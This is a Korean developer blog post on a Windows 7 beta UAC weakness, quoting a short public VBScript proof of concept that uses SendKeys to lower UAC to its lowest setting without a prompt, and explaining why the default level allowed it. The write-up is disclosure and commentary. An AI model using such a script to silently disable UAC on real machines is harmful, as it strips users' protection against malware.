Microsoft MVP성태의 닷넷 이야기
Windows: 41. UAC 보안 취약 [링크 복사], [링크+제목 복사],
조회: 19942
글쓴 사람
정성태 (techsharer at outlook.com)
홈페이지
첨부 파일
 


Windows 7 - UAC 보안 취약


오늘 날짜의 "한국 마이크로소프트 - 오늘의 뉴스"에 재미있는 기사가 올라왔습니다.

[외신] 윈도우 7 베타버전 UAC기능, 보안 취약 논쟁 
; http://www.boannews.com/media/view.asp?idx=14088&kind=1

재미있더군요. 검색을 통해서 문제를 제기한 "Long Zheng"이라는 사람의 글을 쉽게 발견할 수 있었습니다.

Sacrificing security for usability: UAC security flaw in Windows 7 beta (with proof of concept code) 
; http://www.istartedsomething.com/20090130/uac-security-flaw-windows-7-beta-proof/

Malware can turn off UAC in Windows 7; “By design” says Microsoft
; http://www.withinwindows.com/2009/01/30/malware-can-turn-off-uac-in-windows-7-by-design-says-microsoft

실제로, 공개된 소스코드를 확인해 보면 정말 간단합니다.

'// 1337H4x Written by _____________ 
'//                    (12 year old)

Set WshShell = WScript.CreateObject("WScript.Shell")

'// Toggle Start menu
WshShell.SendKeys("^{ESC}")
WScript.Sleep(500)

'// Search for UAC applet
WshShell.SendKeys("change uac")
WScript.Sleep(2000)

'// Open the applet (assuming second result)
WshShell.SendKeys("{DOWN}")
WshShell.SendKeys("{DOWN}")
WshShell.SendKeys("{ENTER}")
WScript.Sleep(2000)

'// Set UAC level to lowest (assuming out-of-box Default setting)
WshShell.SendKeys("{TAB}")
WshShell.SendKeys("{DOWN}")
WshShell.SendKeys("{DOWN}")
WshShell.SendKeys("{DOWN}")

'// Save our changes
WshShell.SendKeys("{TAB}")
WshShell.SendKeys("{ENTER}")

'// TODO: Add code to handle installation of rebound
'// process to continue exploitation, i.e. place something
'// evil in Startup folder

'// Reboot the system
'// WshShell.Run "shutdown /r /f"

문제가 되는 것은, UAC 수준이 Windows 7에서 조정이 되었는데, 그 조정된 수준에서는 UAC 자체의 설정값을 변경하는 행위에서도 "UAC 확인" 창이 뜨지 않는다는 것입니다. 위의 프로그램을 통해서 실행되는 프로그램은 "User Account Control Settings" 대화창인데,

[그림 1: Windows 7 UAC 수준 변경 대화창]
windows7_uac_flaw_by_keyboard_1.png

UAC 모드를 변경하는 "OK" 버튼에서 "UAC 확인창"이 떠야만 하는데, 현재 Windows 7의 기본값인 "Default - Notify me only when programs try to make changes to my computer"에서는 UAC를 바꾸는 것 자체도 "Windows settings"를 변경하는 부분에 해당하기 때문에 UAC 확인창이 뜨지 않는 것입니다.

만약, UAC 설정값을 프로그래밍적으로 바꾸는 방법이 있었다면 위와 같이 SendKeys 방법을 굳이 통하지 않고 그 API를 부르는 것만으로도 UAC는 쉽게 바뀔 수 있다는 의미가 됩니다.

이 부분은, UAC 수준을 조절하는 과정에서 Microsoft 내부적으로 잘못 이해된 것이 아닌가 싶은데, 마이크로소프트 측에서는 이것을 "By Design"의 문제라고 하며 그다지 중요하게 생각하지 않고 있다는 것도 또한 문제시되고 있습니다. 제 생각에는 이런 정도의 결함은 Microsoft도 내부적인 설정 오류라고 보고 수정하면 될 것 같은데 ... 좀 의아스럽긴 합니다.

제 개인적인 생각으로도, Windows 7 정식 버전에서는 꼭 고쳐졌으면 좋겠군요.



[이 토픽에 대해서 여러분들과 의견을 공유하고 싶습니다. 틀리거나 미흡한 부분 또는 의문 사항이 있으시면 언제든 댓글 남겨주십시오.]







[최초 등록일: ]
[최종 수정일: 4/10/2022]

Creative Commons License
이 저작물은 크리에이티브 커먼즈 코리아 저작자표시-비영리-변경금지 2.0 대한민국 라이센스에 따라 이용하실 수 있습니다.
by SeongTae Jeong, mailto:techsharer at outlook.com

비밀번호

댓글 작성자
 



2009-02-15 10시09분
[vbdream] 최소한 UAC 변경 창은 별도의 데스크톱이라던가, 하여튼 일반적인 응용 프로그램과는 단절된 환경에서 이루어져야 하겠네요.
[guest]
2009-02-15 11시01분
위의 문제에서는 기본적으로 UAC 변경에 대한 것 자체에 UAC를 적용해야 하고요. ^^
UAC 대화창이 떠야 한다면 "vbdream" 님이 말씀하신 것처럼 별도의 데스크톱에 떠야 안전하겠지요.
kevin25

... 31  32  33  34  [35]  36  37  38  39  40  41  42  43  44  45  ...
NoWriterDateCnt.TitleFile(s)
12940정성태1/26/202210104오류 유형: 789. AKS에서 hpa에 따른 autoscale 기능이 동작하지 않는다면?
12939정성태1/25/202211233.NET Framework: 1140. C# - ffmpeg(FFmpeg.AutoGen)를 이용해 MP3 오디오 파일 인코딩/디코딩하는 예제파일 다운로드1
12938정성태1/24/202213666개발 환경 구성: 633. Docker Desktop + k8s 환경에서 local 이미지를 사용하는 방법
12937정성태1/24/202211238.NET Framework: 1139. C# - ffmpeg(FFmpeg.AutoGen)를 이용해 오디오(mp2) 인코딩하는 예제(encode_audio.c) [2]파일 다운로드1
12936정성태1/22/202211386.NET Framework: 1138. C# - ffmpeg(FFmpeg.AutoGen)를 이용해 멀티미디어 파일의 메타데이터를 보여주는 예제(metadata.c)파일 다운로드1
12935정성태1/22/202211555.NET Framework: 1137. ffmpeg의 파일 해시 예제(ffhash.c)를 C#으로 포팅파일 다운로드1
12934정성태1/22/202210961오류 유형: 788. Warning C6262 Function uses '65564' bytes of stack: exceeds /analyze:stacksize '16384'. Consider moving some data to heap. [2]
12933정성태1/21/202211546.NET Framework: 1136. C# - ffmpeg(FFmpeg.AutoGen)를 이용해 MP2 오디오 파일 디코딩 예제(decode_audio.c)파일 다운로드1
12932정성태1/20/202212266.NET Framework: 1135. C# - ffmpeg(FFmpeg.AutoGen)로 하드웨어 가속기를 이용한 비디오 디코딩 예제(hw_decode.c) [2]파일 다운로드1
12931정성태1/20/20229632개발 환경 구성: 632. ASP.NET Core 프로젝트를 AKS/k8s에 올리는 과정
12930정성태1/19/202210782개발 환경 구성: 631. AKS/k8s의 Volume에 파일 복사하는 방법
12929정성태1/19/202210564개발 환경 구성: 630. AKS/k8s의 Pod에 Volume 연결하는 방법
12928정성태1/18/202210719개발 환경 구성: 629. AKS/Kubernetes에서 호스팅 중인 pod에 shell(/bin/bash)로 진입하는 방법
12927정성태1/18/202210660개발 환경 구성: 628. AKS 환경에 응용 프로그램 배포 방법
12926정성태1/17/202210999오류 유형: 787. AKS - pod 배포 시 ErrImagePull/ImagePullBackOff 오류
12925정성태1/17/202211108개발 환경 구성: 627. AKS의 준비 단계 - ACR(Azure Container Registry)에 docker 이미지 배포
12924정성태1/15/202212824.NET Framework: 1134. C# - ffmpeg(FFmpeg.AutoGen)를 이용한 비디오 디코딩 예제(decode_video.c) [2]파일 다운로드1
12923정성태1/15/202211389개발 환경 구성: 626. ffmpeg.exe를 사용해 비디오 파일을 MPEG1 포맷으로 변경하는 방법
12922정성태1/14/202210431개발 환경 구성: 625. AKS - Azure Kubernetes Service 생성 및 SLO/SLA 변경 방법
12921정성태1/14/20229024개발 환경 구성: 624. Docker Desktop에서 별도 서버에 설치한 docker registry에 이미지 올리는 방법
12920정성태1/14/202210261오류 유형: 786. Camtasia - An error occurred with the camera: Failed to Add Video Sampler.
12919정성태1/13/20229678Windows: 199. Host Network Service (HNS)에 의해서 점유되는 포트
12918정성태1/13/20229960Linux: 47. WSL - shell script에서 설정한 환경 변수가 스크립트 실행 후 반영되지 않는 문제
12917정성태1/12/20229253오류 유형: 785. C# - The type or namespace name '...' could not be found (are you missing a using directive or an assembly reference?)
12916정성태1/12/20228708오류 유형: 784. TFS - One or more source control bindings for this solution are not valid and are listed below.
12915정성태1/11/20228967오류 유형: 783. Visual Studio - We didn't find any interpreters
... 31  32  33  34  [35]  36  37  38  39  40  41  42  43  44  45  ...